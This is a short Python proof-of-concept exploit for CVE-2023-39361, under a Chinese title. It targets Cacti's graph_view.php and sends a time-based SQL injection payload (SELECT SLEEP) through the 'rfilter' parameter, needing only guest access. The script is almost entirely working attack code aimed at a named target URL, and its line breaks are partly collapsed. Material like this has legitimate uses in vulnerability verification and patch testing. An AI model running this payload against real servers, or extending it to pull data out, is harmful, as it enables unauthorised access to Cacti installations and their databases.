CVE-2023-39361｜Cacti 未经身份验证SQL注入漏洞

import argparseimport requestsimport sysimport urllib3

#import os#os.environ['http_proxy'] = 'http://localhost:8080'

sleep_time = 10payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""

def exploit():    url = f"{target}/graph_view.php"

    params = {        "action":"tree_content",        "node":"1-1-tree_anchor",        "rfilter":payload    }

    print('[+] Sending payload...')    print(f"[+] Payload: {payload}")    session.get(url,params=params)    if __name__=='__main__':    urllib3.disable_warnings()    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")    parser.add_argument('-t','--target',help='',required=True)    args = parser.parse_args()        target = args.target    session = requests.Session()

    exploit()